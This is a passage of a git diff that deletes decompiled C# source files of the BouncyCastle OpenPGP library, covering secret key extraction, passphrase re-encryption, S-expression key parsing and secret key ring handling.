keyPair.PublicKey); - return PgpPublicKey.AddCertification(keyPair.PublicKey, id, certification); - } - catch (Exception ex2) - { - throw new PgpException("Exception doing certification: " + ex2.Message, ex2); - } - } - - private static PgpPublicKey CertifiedPublicKey(int certificationLevel, PgpKeyPair keyPair, string id, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, HashAlgorithmTag hashAlgorithm) - { - PgpSignatureGenerator pgpSignatureGenerator; - try - { - pgpSignatureGenerator = new PgpSignatureGenerator(keyPair.PublicKey.Algorithm, hashAlgorithm); - } - catch (Exception ex) - { - throw new PgpException("Creating signature generator: " + ex.Message, ex); - } - pgpSignatureGenerator.InitSign(certificationLevel, keyPair.PrivateKey); - pgpSignatureGenerator.SetHashedSubpackets(hashedPackets); - pgpSignatureGenerator.SetUnhashedSubpackets(unhashedPackets); - try - { - PgpSignature certification = pgpSignatureGenerator.GenerateCertification(id, keyPair.PublicKey); - return PgpPublicKey.AddCertification(keyPair.PublicKey, id, certification); - } - catch (Exception ex2) - { - throw new PgpException("Exception doing certification: " + ex2.Message, ex2); - } - } - - public PgpSecretKey(int certificationLevel, PublicKeyAlgorithmTag algorithm, AsymmetricKeyParameter pubKey, AsymmetricKeyParameter privKey, DateTime time, string id, SymmetricKeyAlgorithmTag encAlgorithm, char[] passPhrase, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, new PgpKeyPair(algorithm, pubKey, privKey, time), id, encAlgorithm, passPhrase, useSha1: false, hashedPackets, unhashedPackets, rand) - { - } - - public PgpSecretKey(int certificationLevel, PublicKeyAlgorithmTag algorithm, AsymmetricKeyParameter pubKey, AsymmetricKeyParameter privKey, DateTime time, string id, SymmetricKeyAlgorithmTag encAlgorithm, char[] passPhrase, bool useSha1, PgpSignatureSubpacketVector hashedPackets, PgpSignatureSubpacketVector unhashedPackets, SecureRandom rand) - : this(certificationLevel, new PgpKeyPair(algorithm, pubKey, privKey, time), id, encAlgorithm, passPhrase, useSha1, hashedPackets, unhashedPackets, rand) - { - } - - private byte[] ExtractKeyData(byte[] rawPassPhrase, bool clearPassPhrase) - { - SymmetricKeyAlgorithmTag encAlgorithm = secret.EncAlgorithm; - byte[] secretKeyData = secret.GetSecretKeyData(); - if (encAlgorithm == SymmetricKeyAlgorithmTag.Null) - { - return secretKeyData; - } - try - { - KeyParameter key = PgpUtilities.DoMakeKeyFromPassPhrase(secret.EncAlgorithm, secret.S2k, rawPassPhrase, clearPassPhrase); - byte[] iV = secret.GetIV(); - byte[] array; - if (secret.PublicKeyPacket.Version >= 4) - { - array = RecoverKeyData(encAlgorithm, "/CFB/NoPadding", key, iV, secretKeyData, 0, secretKeyData.Length); - bool flag = secret.S2kUsage == 254; - byte[] array2 = Checksum(flag, array, flag ? (array.Length - 20) : (array.Length - 2)); - for (int i = 0; i != array2.Length; i++) - { - if (array2[i] != array[array.Length - array2.Length + i]) - { - throw new PgpException("Checksum mismatch at " + i + " of " + array2.Length); - } - } - } - else - { - array = new byte[secretKeyData.Length]; - iV = Arrays.Clone(iV); - int num = 0; - for (int j = 0; j != 4; j++) - { - int num2 = (((secretKeyData[num] << 8) | (secretKeyData[num + 1] & 0xFF)) + 7) / 8; - array[num] = secretKeyData[num]; - array[num + 1] = secretKeyData[num + 1]; - num += 2; - byte[] sourceArray = RecoverKeyData(encAlgorithm, "/CFB/NoPadding", key, iV, secretKeyData, num, num2); - Array.Copy(sourceArray, 0, array, num, num2); - num += num2; - if (j != 3) - { - Array.Copy(secretKeyData, num - iV.Length, iV, 0, iV.Length); - } - } - array[num] = secretKeyData[num]; - array[num + 1] = secretKeyData[num + 1]; - int num3 = ((secretKeyData[num] << 8) & 0xFF00) | (secretKeyData[num + 1] & 0xFF); - int num4 = 0; - for (int k = 0; k < num; k++) - { - num4 += array[k] & 0xFF; - } - num4 &= 0xFFFF; - if (num4 != num3) - { - throw new PgpException("Checksum mismatch: passphrase wrong, expected " + num3.ToString("X") + " found " + num4.ToString("X")); - } - } - return array; - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("Exception decrypting key", exception); - } - } - - private static byte[] RecoverKeyData(SymmetricKeyAlgorithmTag encAlgorithm, string modeAndPadding, KeyParameter key, byte[] iv, byte[] keyData, int keyOff, int keyLen) - { - IBufferedCipher cipher; - try - { - string symmetricCipherName = PgpUtilities.GetSymmetricCipherName(encAlgorithm); - cipher = CipherUtilities.GetCipher(symmetricCipherName + modeAndPadding); - } - catch (Exception exception) - { - throw new PgpException("Exception creating cipher", exception); - } - cipher.Init(forEncryption: false, new ParametersWithIV(key, iv)); - return cipher.DoFinal(keyData, keyOff, keyLen); - } - - public PgpPrivateKey ExtractPrivateKey(char[] passPhrase) - { - return DoExtractPrivateKey(PgpUtilities.EncodePassPhrase(passPhrase, utf8: false), clearPassPhrase: true); - } - - public PgpPrivateKey ExtractPrivateKeyUtf8(char[] passPhrase) - { - return DoExtractPrivateKey(PgpUtilities.EncodePassPhrase(passPhrase, utf8: true), clearPassPhrase: true); - } - - public PgpPrivateKey ExtractPrivateKeyRaw(byte[] rawPassPhrase) - { - return DoExtractPrivateKey(rawPassPhrase, clearPassPhrase: false); - } - - internal PgpPrivateKey DoExtractPrivateKey(byte[] rawPassPhrase, bool clearPassPhrase) - { - if (IsPrivateKeyEmpty) - { - return null; - } - PublicKeyPacket publicKeyPacket = secret.PublicKeyPacket; - try - { - byte[] buffer = ExtractKeyData(rawPassPhrase, clearPassPhrase); - BcpgInputStream bcpgIn = BcpgInputStream.Wrap(new MemoryStream(buffer, writable: false)); - AsymmetricKeyParameter privateKey; - switch (publicKeyPacket.Algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - case PublicKeyAlgorithmTag.RsaSign: - { - RsaPublicBcpgKey rsaPublicBcpgKey = (RsaPublicBcpgKey)publicKeyPacket.Key; - RsaSecretBcpgKey rsaSecretBcpgKey = new RsaSecretBcpgKey(bcpgIn); - RsaPrivateCrtKeyParameters rsaPrivateCrtKeyParameters = new RsaPrivateCrtKeyParameters(rsaSecretBcpgKey.Modulus, rsaPublicBcpgKey.PublicExponent, rsaSecretBcpgKey.PrivateExponent, rsaSecretBcpgKey.PrimeP, rsaSecretBcpgKey.PrimeQ, rsaSecretBcpgKey.PrimeExponentP, rsaSecretBcpgKey.PrimeExponentQ, rsaSecretBcpgKey.CrtCoefficient); - privateKey = rsaPrivateCrtKeyParameters; - break; - } - case PublicKeyAlgorithmTag.Dsa: - { - DsaPublicBcpgKey dsaPublicBcpgKey = (DsaPublicBcpgKey)publicKeyPacket.Key; - DsaSecretBcpgKey dsaSecretBcpgKey = new DsaSecretBcpgKey(bcpgIn); - DsaParameters parameters2 = new DsaParameters(dsaPublicBcpgKey.P, dsaPublicBcpgKey.Q, dsaPublicBcpgKey.G); - privateKey = new DsaPrivateKeyParameters(dsaSecretBcpgKey.X, parameters2); - break; - } - case PublicKeyAlgorithmTag.EC: - privateKey = GetECKey("ECDH", bcpgIn); - break; - case PublicKeyAlgorithmTag.ECDsa: - privateKey = GetECKey("ECDSA", bcpgIn); - break; - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - { - ElGamalPublicBcpgKey elGamalPublicBcpgKey = (ElGamalPublicBcpgKey)publicKeyPacket.Key; - ElGamalSecretBcpgKey elGamalSecretBcpgKey = new ElGamalSecretBcpgKey(bcpgIn); - ElGamalParameters parameters = new ElGamalParameters(elGamalPublicBcpgKey.P, elGamalPublicBcpgKey.G); - privateKey = new ElGamalPrivateKeyParameters(elGamalSecretBcpgKey.X, parameters); - break; - } - default: - throw new PgpException("unknown public key algorithm encountered"); - } - return new PgpPrivateKey(KeyId, publicKeyPacket, privateKey); - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("Exception constructing key", exception); - } - } - - private ECPrivateKeyParameters GetECKey(string algorithm, BcpgInputStream bcpgIn) - { - ECPublicBcpgKey eCPublicBcpgKey = (ECPublicBcpgKey)secret.PublicKeyPacket.Key; - ECSecretBcpgKey eCSecretBcpgKey = new ECSecretBcpgKey(bcpgIn); - return new ECPrivateKeyParameters(algorithm, eCSecretBcpgKey.X, eCPublicBcpgKey.CurveOid); - } - - private static byte[] Checksum(bool useSha1, byte[] bytes, int length) - { - if (useSha1) - { - try - { - IDigest digest = DigestUtilities.GetDigest("SHA1"); - digest.BlockUpdate(bytes, 0, length); - return DigestUtilities.DoFinal(digest); - } - catch (Exception exception) - { - throw new PgpException("Can't find SHA-1", exception); - } - } - int num = 0; - for (int i = 0; i != length; i++) - { - num += bytes[i]; - } - return new byte[2] - { - (byte)(num >> 8), - (byte)num - }; - } - - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Encode(memoryStream); - return memoryStream.ToArray(); - } - - public void Encode(Stream outStr) - { - BcpgOutputStream bcpgOutputStream = BcpgOutputStream.Wrap(outStr); - bcpgOutputStream.WritePacket(secret); - if (pub.trustPk != null) - { - bcpgOutputStream.WritePacket(pub.trustPk); - } - if (pub.subSigs == null) - { - foreach (PgpSignature keySig in pub.keySigs) - { - keySig.Encode(bcpgOutputStream); - } - for (int i = 0; i != pub.ids.Count; i++) - { - object obj = pub.ids[i]; - if (obj is string) - { - string id = (string)obj; - bcpgOutputStream.WritePacket(new UserIdPacket(id)); - } - else - { - PgpUserAttributeSubpacketVector pgpUserAttributeSubpacketVector = (PgpUserAttributeSubpacketVector)obj; - bcpgOutputStream.WritePacket(new UserAttributePacket(pgpUserAttributeSubpacketVector.ToSubpacketArray())); - } - if (pub.idTrusts[i] != null) - { - bcpgOutputStream.WritePacket((ContainedPacket)pub.idTrusts[i]); - } - foreach (PgpSignature item in (IList)pub.idSigs[i]) - { - item.Encode(bcpgOutputStream); - } - } - return; - } - foreach (PgpSignature subSig in pub.subSigs) - { - subSig.Encode(bcpgOutputStream); - } - } - - public static PgpSecretKey CopyWithNewPassword(PgpSecretKey key, char[] oldPassPhrase, char[] newPassPhrase, SymmetricKeyAlgorithmTag newEncAlgorithm, SecureRandom rand) - { - return DoCopyWithNewPassword(key, PgpUtilities.EncodePassPhrase(oldPassPhrase, utf8: false), PgpUtilities.EncodePassPhrase(newPassPhrase, utf8: false), clearPassPhrase: true, newEncAlgorithm, rand); - } - - public static PgpSecretKey CopyWithNewPasswordUtf8(PgpSecretKey key, char[] oldPassPhrase, char[] newPassPhrase, SymmetricKeyAlgorithmTag newEncAlgorithm, SecureRandom rand) - { - return DoCopyWithNewPassword(key, PgpUtilities.EncodePassPhrase(oldPassPhrase, utf8: true), PgpUtilities.EncodePassPhrase(newPassPhrase, utf8: true), clearPassPhrase: true, newEncAlgorithm, rand); - } - - public static PgpSecretKey CopyWithNewPasswordRaw(PgpSecretKey key, byte[] rawOldPassPhrase, byte[] rawNewPassPhrase, SymmetricKeyAlgorithmTag newEncAlgorithm, SecureRandom rand) - { - return DoCopyWithNewPassword(key, rawOldPassPhrase, rawNewPassPhrase, clearPassPhrase: false, newEncAlgorithm, rand); - } - - internal static PgpSecretKey DoCopyWithNewPassword(PgpSecretKey key, byte[] rawOldPassPhrase, byte[] rawNewPassPhrase, bool clearPassPhrase, SymmetricKeyAlgorithmTag newEncAlgorithm, SecureRandom rand) - { - if (key.IsPrivateKeyEmpty) - { - throw new PgpException("no private key in this SecretKey - public key present only."); - } - byte[] array = key.ExtractKeyData(rawOldPassPhrase, clearPassPhrase); - int num = key.secret.S2kUsage; - byte[] iv = null; - S2k s2k = null; - PublicKeyPacket publicKeyPacket = key.secret.PublicKeyPacket; - byte[] array2; - if (newEncAlgorithm == SymmetricKeyAlgorithmTag.Null) - { - num = 0; - if (key.secret.S2kUsage == 254) - { - array2 = new byte[array.Length - 18]; - Array.Copy(array, 0, array2, 0, array2.Length - 2); - byte[] array3 = Checksum(useSha1: false, array2, array2.Length - 2); - array2[^2] = array3[0]; - array2[^1] = array3[1]; - } - else - { - array2 = array; - } - } - else - { - if (num == 0) - { - num = 255; - } - try - { - array2 = ((publicKeyPacket.Version < 4) ? EncryptKeyDataV3(array, newEncAlgorithm, rawNewPassPhrase, clearPassPhrase, rand, out s2k, out iv) : EncryptKeyDataV4(array, newEncAlgorithm, HashAlgorithmTag.Sha1, rawNewPassPhrase, clearPassPhrase, rand, out s2k, out iv)); - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("Exception encrypting key", exception); - } - } - SecretKeyPacket secretKeyPacket = ((!(key.secret is SecretSubkeyPacket)) ? new SecretKeyPacket(publicKeyPacket, newEncAlgorithm, num, s2k, iv, array2) : new SecretSubkeyPacket(publicKeyPacket, newEncAlgorithm, num, s2k, iv, array2)); - return new PgpSecretKey(secretKeyPacket, key.pub); - } - - public static PgpSecretKey ReplacePublicKey(PgpSecretKey secretKey, PgpPublicKey publicKey) - { - if (publicKey.KeyId != secretKey.KeyId) - { - throw new ArgumentException("KeyId's do not match"); - } - return new PgpSecretKey(secretKey.secret, publicKey); - } - - private static byte[] EncryptKeyDataV3(byte[] rawKeyData, SymmetricKeyAlgorithmTag encAlgorithm, byte[] rawPassPhrase, bool clearPassPhrase, SecureRandom random, out S2k s2k, out byte[] iv) - { - s2k = null; - iv = null; - KeyParameter key = PgpUtilities.DoMakeKeyFromPassPhrase(encAlgorithm, s2k, rawPassPhrase, clearPassPhrase); - byte[] array = new byte[rawKeyData.Length]; - int num = 0; - for (int i = 0; i != 4; i++) - { - int num2 = (((rawKeyData[num] << 8) | (rawKeyData[num + 1] & 0xFF)) + 7) / 8; - array[num] = rawKeyData[num]; - array[num + 1] = rawKeyData[num + 1]; - byte[] array2; - if (i == 0) - { - array2 = EncryptData(encAlgorithm, key, rawKeyData, num + 2, num2, random, ref iv); - } - else - { - byte[] iv2 = Arrays.CopyOfRange(array, num - iv.Length, num); - array2 = EncryptData(encAlgorithm, key, rawKeyData, num + 2, num2, random, ref iv2); - } - Array.Copy(array2, 0, array, num + 2, array2.Length); - num += 2 + num2; - } - array[num] = rawKeyData[num]; - array[num + 1] = rawKeyData[num + 1]; - return array; - } - - private static byte[] EncryptKeyDataV4(byte[] rawKeyData, SymmetricKeyAlgorithmTag encAlgorithm, HashAlgorithmTag hashAlgorithm, byte[] rawPassPhrase, bool clearPassPhrase, SecureRandom random, out S2k s2k, out byte[] iv) - { - s2k = PgpUtilities.GenerateS2k(hashAlgorithm, 96, random); - KeyParameter key = PgpUtilities.DoMakeKeyFromPassPhrase(encAlgorithm, s2k, rawPassPhrase, clearPassPhrase); - iv = null; - return EncryptData(encAlgorithm, key, rawKeyData, 0, rawKeyData.Length, random, ref iv); - } - - private static byte[] EncryptData(SymmetricKeyAlgorithmTag encAlgorithm, KeyParameter key, byte[] data, int dataOff, int dataLen, SecureRandom random, ref byte[] iv) - { - IBufferedCipher cipher; - try - { - string symmetricCipherName = PgpUtilities.GetSymmetricCipherName(encAlgorithm); - cipher = CipherUtilities.GetCipher(symmetricCipherName + "/CFB/NoPadding"); - } - catch (Exception exception) - { - throw new PgpException("Exception creating cipher", exception); - } - if (iv == null) - { - iv = PgpUtilities.GenerateIV(cipher.GetBlockSize(), random); - } - cipher.Init(forEncryption: true, new ParametersWithRandom(new ParametersWithIV(key, iv), random)); - return cipher.DoFinal(data, dataOff, dataLen); - } - - public static PgpSecretKey ParseSecretKeyFromSExpr(Stream inputStream, char[] passPhrase, PgpPublicKey pubKey) - { - return DoParseSecretKeyFromSExpr(inputStream, PgpUtilities.EncodePassPhrase(passPhrase, utf8: false), clearPassPhrase: true, pubKey); - } - - public static PgpSecretKey ParseSecretKeyFromSExprUtf8(Stream inputStream, char[] passPhrase, PgpPublicKey pubKey) - { - return DoParseSecretKeyFromSExpr(inputStream, PgpUtilities.EncodePassPhrase(passPhrase, utf8: true), clearPassPhrase: true, pubKey); - } - - public static PgpSecretKey ParseSecretKeyFromSExprRaw(Stream inputStream, byte[] rawPassPhrase, PgpPublicKey pubKey) - { - return DoParseSecretKeyFromSExpr(inputStream, rawPassPhrase, clearPassPhrase: false, pubKey); - } - - internal static PgpSecretKey DoParseSecretKeyFromSExpr(Stream inputStream, byte[] rawPassPhrase, bool clearPassPhrase, PgpPublicKey pubKey) - { - SXprUtilities.SkipOpenParenthesis(inputStream); - string text = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - if (text.Equals("protected-private-key")) - { - SXprUtilities.SkipOpenParenthesis(inputStream); - string text2 = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - if (text2.Equals("ecc")) - { - SXprUtilities.SkipOpenParenthesis(inputStream); - SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - string curveName = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - SXprUtilities.SkipCloseParenthesis(inputStream); - SXprUtilities.SkipOpenParenthesis(inputStream); - text = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - if (text.Equals("q")) - { - SXprUtilities.ReadBytes(inputStream, inputStream.ReadByte()); - SXprUtilities.SkipCloseParenthesis(inputStream); - byte[] dValue = GetDValue(inputStream, rawPassPhrase, clearPassPhrase, curveName); - return new PgpSecretKey(new SecretKeyPacket(pubKey.PublicKeyPacket, SymmetricKeyAlgorithmTag.Null, null, null, new ECSecretBcpgKey(new BigInteger(1, dValue)).GetEncoded()), pubKey); - } - throw new PgpException("no q value found"); - } - throw new PgpException("no curve details found"); - } - throw new PgpException("unknown key type found"); - } - - public static PgpSecretKey ParseSecretKeyFromSExpr(Stream inputStream, char[] passPhrase) - { - return DoParseSecretKeyFromSExpr(inputStream, PgpUtilities.EncodePassPhrase(passPhrase, utf8: false), clearPassPhrase: true); - } - - public static PgpSecretKey ParseSecretKeyFromSExprUtf8(Stream inputStream, char[] passPhrase) - { - return DoParseSecretKeyFromSExpr(inputStream, PgpUtilities.EncodePassPhrase(passPhrase, utf8: true), clearPassPhrase: true); - } - - public static PgpSecretKey ParseSecretKeyFromSExprRaw(Stream inputStream, byte[] rawPassPhrase) - { - return DoParseSecretKeyFromSExpr(inputStream, rawPassPhrase, clearPassPhrase: false); - } - - internal static PgpSecretKey DoParseSecretKeyFromSExpr(Stream inputStream, byte[] rawPassPhrase, bool clearPassPhrase) - { - SXprUtilities.SkipOpenParenthesis(inputStream); - string text = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - if (text.Equals("protected-private-key")) - { - SXprUtilities.SkipOpenParenthesis(inputStream); - string text2 = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - if (text2.Equals("ecc")) - { - SXprUtilities.SkipOpenParenthesis(inputStream); - SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - string text3 = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - if (Platform.StartsWith(text3, "NIST ")) - { - text3 = text3.Substring("NIST ".Length); - } - SXprUtilities.SkipCloseParenthesis(inputStream); - SXprUtilities.SkipOpenParenthesis(inputStream); - text = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - if (text.Equals("q")) - { - byte[] bytes = SXprUtilities.ReadBytes(inputStream, inputStream.ReadByte()); - PublicKeyPacket publicKeyPacket = new PublicKeyPacket(PublicKeyAlgorithmTag.ECDsa, DateTime.UtcNow, new ECDsaPublicBcpgKey(ECNamedCurveTable.GetOid(text3), new BigInteger(1, bytes))); - SXprUtilities.SkipCloseParenthesis(inputStream); - byte[] dValue = GetDValue(inputStream, rawPassPhrase, clearPassPhrase, text3); - return new PgpSecretKey(new SecretKeyPacket(publicKeyPacket, SymmetricKeyAlgorithmTag.Null, null, null, new ECSecretBcpgKey(new BigInteger(1, dValue)).GetEncoded()), new PgpPublicKey(publicKeyPacket)); - } - throw new PgpException("no q value found"); - } - throw new PgpException("no curve details found"); - } - throw new PgpException("unknown key type found"); - } - - private static byte[] GetDValue(Stream inputStream, byte[] rawPassPhrase, bool clearPassPhrase, string curveName) - { - SXprUtilities.SkipOpenParenthesis(inputStream); - string text = SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - if (text.Equals("protected")) - { - SXprUtilities.ReadString(inputStream, inputStream.ReadByte()); - SXprUtilities.SkipOpenParenthesis(inputStream); - S2k s2k = SXprUtilities.ParseS2k(inputStream); - byte[] iv = SXprUtilities.ReadBytes(inputStream, inputStream.ReadByte()); - SXprUtilities.SkipCloseParenthesis(inputStream); - byte[] array = SXprUtilities.ReadBytes(inputStream, inputStream.ReadByte()); - KeyParameter key = PgpUtilities.DoMakeKeyFromPassPhrase(SymmetricKeyAlgorithmTag.Aes128, s2k, rawPassPhrase, clearPassPhrase); - byte[] buffer = RecoverKeyData(SymmetricKeyAlgorithmTag.Aes128, "/CBC/NoPadding", key, iv, array, 0, array.Length); - Stream stream = new MemoryStream(buffer, writable: false); - SXprUtilities.SkipOpenParenthesis(stream); - SXprUtilities.SkipOpenParenthesis(stream); - SXprUtilities.SkipOpenParenthesis(stream); - SXprUtilities.ReadString(stream, stream.ReadByte()); - return SXprUtilities.ReadBytes(stream, stream.ReadByte()); - } - throw new PgpException("protected block not found"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKeyRing.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKeyRing.cs deleted file mode 100644 index b08135f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKeyRing.cs +++ /dev/null @@ -1,213 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpSecretKeyRing : PgpKeyRing -{ - private readonly IList keys; - - private readonly IList extraPubKeys; - - internal PgpSecretKeyRing(IList keys) - : this(keys, Platform.CreateArrayList()) - { - } - - private PgpSecretKeyRing(IList keys, IList extraPubKeys) - { - this.keys = keys; - this.extraPubKeys = extraPubKeys; - } - - public PgpSecretKeyRing(byte[] encoding) - : this(new MemoryStream(encoding)) - { - } - - public PgpSecretKeyRing(Stream inputStream) - { - keys = Platform.CreateArrayList(); - extraPubKeys = Platform.CreateArrayList(); - BcpgInputStream bcpgInputStream = BcpgInputStream.Wrap(inputStream); - PacketTag packetTag = bcpgInputStream.NextPacketTag(); - if (packetTag != PacketTag.SecretKey && packetTag != PacketTag.SecretSubkey) - { - int num = (int)packetTag; - throw new IOException("secret key ring doesn't start with secret key tag: tag 0x" + num.ToString("X")); - } - SecretKeyPacket secretKeyPacket = (SecretKeyPacket)bcpgInputStream.ReadPacket(); - while (bcpgInputStream.NextPacketTag() == PacketTag.Experimental2) - { - bcpgInputStream.ReadPacket(); - } - TrustPacket trustPk = PgpKeyRing.ReadOptionalTrustPacket(bcpgInputStream); - IList keySigs = PgpKeyRing.ReadSignaturesAndTrust(bcpgInputStream); - PgpKeyRing.ReadUserIDs(bcpgInputStream, out var ids, out var idTrusts, out var idSigs); - keys.Add(new PgpSecretKey(secretKeyPacket, new PgpPublicKey(secretKeyPacket.PublicKeyPacket, trustPk, keySigs, ids, idTrusts, idSigs))); - while (bcpgInputStream.NextPacketTag() == PacketTag.SecretSubkey || bcpgInputStream.NextPacketTag() == PacketTag.PublicSubkey) - { - if (bcpgInputStream.NextPacketTag() == PacketTag.SecretSubkey) - { - SecretSubkeyPacket secretSubkeyPacket = (SecretSubkeyPacket)bcpgInputStream.ReadPacket(); - while (bcpgInputStream.NextPacketTag() == PacketTag.Experimental2) - { - bcpgInputStream.ReadPacket(); - } - TrustPacket trustPk2 = PgpKeyRing.ReadOptionalTrustPacket(bcpgInputStream); - IList sigs = PgpKeyRing.ReadSignaturesAndTrust(bcpgInputStream); - keys.Add(new PgpSecretKey(secretSubkeyPacket, new PgpPublicKey(secretSubkeyPacket.PublicKeyPacket, trustPk2, sigs))); - } - else - { - PublicSubkeyPacket publicPk = (PublicSubkeyPacket)bcpgInputStream.ReadPacket(); - TrustPacket trustPk3 = PgpKeyRing.ReadOptionalTrustPacket(bcpgInputStream); - IList sigs2 = PgpKeyRing.ReadSignaturesAndTrust(bcpgInputStream); - extraPubKeys.Add(new PgpPublicKey(publicPk, trustPk3, sigs2)); - } - } - } - - public PgpPublicKey GetPublicKey() - { - return ((PgpSecretKey)keys[0]).PublicKey; - } - - public PgpSecretKey GetSecretKey() - { - return (PgpSecretKey)keys[0]; - } - - public IEnumerable GetSecretKeys() - { - return new EnumerableProxy(keys); - } - - public PgpSecretKey GetSecretKey(long keyId) - { - foreach (PgpSecretKey key in keys) - { - if (keyId == key.KeyId) - { - return key; - } - } - return null; - } - - public IEnumerable GetExtraPublicKeys() - { - return new EnumerableProxy(extraPubKeys); - } - - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Encode(memoryStream); - return memoryStream.ToArray(); - } - - public void Encode(Stream outStr) - { - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - foreach (PgpSecretKey key in keys) - { - key.Encode(outStr); - } - foreach (PgpPublicKey extraPubKey in extraPubKeys) - { - extraPubKey.Encode(outStr); - } - } - - public static PgpSecretKeyRing ReplacePublicKeys(PgpSecretKeyRing secretRing, PgpPublicKeyRing publicRing) - { - IList list = Platform.CreateArrayList(secretRing.keys.Count); - foreach (PgpSecretKey key in secretRing.keys) - { - PgpPublicKey publicKey = publicRing.GetPublicKey(key.KeyId); - list.Add(PgpSecretKey.ReplacePublicKey(key, publicKey)); - } - return new PgpSecretKeyRing(list); - } - - public static PgpSecretKeyRing CopyWithNewPassword(PgpSecretKeyRing ring, char[] oldPassPhrase, char[] newPassPhrase, SymmetricKeyAlgorithmTag newEncAlgorithm, SecureRandom rand) - { - IList list = Platform.CreateArrayList(ring.keys.Count); - foreach (PgpSecretKey secretKey in ring.GetSecretKeys()) - { - if (secretKey.IsPrivateKeyEmpty) - { - list.Add(secretKey); - } - else - { - list.Add(PgpSecretKey.CopyWithNewPassword(secretKey, oldPassPhrase, newPassPhrase, newEncAlgorithm, rand)); - } - } - return new PgpSecretKeyRing(list, ring.extraPubKeys); - } - - public static PgpSecretKeyRing InsertSecretKey(PgpSecretKeyRing secRing, PgpSecretKey secKey) - { - IList list = Platform.CreateArrayList(secRing.keys); - bool flag = false; - bool flag2 = false; - for (int i = 0; i != list.Count; i++) - { - PgpSecretKey pgpSecretKey = (PgpSecretKey)list[i]; - if (pgpSecretKey.KeyId == secKey.KeyId) - { - flag = true; - list[i] = secKey; - } - if (pgpSecretKey.IsMasterKey) - { - flag2 = true; - } - } - if (!flag) - { - if (secKey.IsMasterKey) - { - if (flag2) - { - throw new ArgumentException("cannot add a master key to a ring that already has one"); - } - list.Insert(0, secKey); - } - else - { - list.Add(secKey); - } - } - return new PgpSecretKeyRing(list, secRing.extraPubKeys); - } - - public static PgpSecretKeyRing RemoveSecretKey(PgpSecretKeyRing secRing, PgpSecretKey secKey) - { - IList list = Platform.CreateArrayList(secRing.keys); - bool flag = false; - for (int i = 0; i < list.Count; i++) - { - PgpSecretKey pgpSecretKey = (PgpSecretKey)list[i]; - if (pgpSecretKey.KeyId == secKey.KeyId) - { - flag = true; - list.RemoveAt(i); - } - } - if (!flag) - { - return null; - } - return new PgpSecretKeyRing(list, secRing.extraPubKeys); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKeyRingBundle.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKeyRingBundle.cs deleted file mode 100644 index 0b86757..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpSecretKeyRingBundle.cs +++ /dev/null @@ -1,179 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpSecretKeyRingBundle -{ - private readonly IDictionary secretRings; - - private readonly IList order; - - [Obsolete("Use 'Count' property instead")] - public int Size => order.Count; - - public int Count => order.Count; - - private PgpSecretKeyRingBundle(IDictionary secretRings, IList order) - { - this.secretRings = secretRings; - this.order = order; - } - - public PgpSecretKeyRingBundle(byte[] encoding) - : this(new MemoryStream(encoding, writable: false)) - { - } - - public PgpSecretKeyRingBundle(Stream inputStream) - : this(new PgpObjectFactory(inputStream).AllPgpObjects()) - { - } - - public PgpSecretKeyRingBundle(IEnumerable e) - { - secretRings = Platform.CreateHashtable(); - order = Platform.CreateArrayList(); - foreach (object item in e) - { - if (!(item is PgpSecretKeyRing pgpSecretKeyRing)) - { - throw new PgpException(Platform.GetTypeName(item) + " found where PgpSecretKeyRing expected"); - } - long keyId = pgpSecretKeyRing.GetPublicKey().KeyId; - secretRings.Add(keyId, pgpSecretKeyRing); - order.Add(keyId); - } - } - - public IEnumerable GetKeyRings() - { - return new EnumerableProxy(secretRings.Values); - } - - public IEnumerable GetKeyRings(string userId) - { - return GetKeyRings(userId, matchPartial: false, ignoreCase: false); - } - - public IEnumerable GetKeyRings(string userId, bool matchPartial) - { - return GetKeyRings(userId, matchPartial, ignoreCase: false); - } - - public IEnumerable GetKeyRings(string userId, bool matchPartial, bool ignoreCase) - { - IList list = Platform.CreateArrayList(); - if (ignoreCase) - { - userId = Platform.ToUpperInvariant(userId); - } - foreach (PgpSecretKeyRing keyRing in GetKeyRings()) - { - foreach (string userId2 in keyRing.GetSecretKey().UserIds) - { - string text2 = userId2; - if (ignoreCase) - { - text2 = 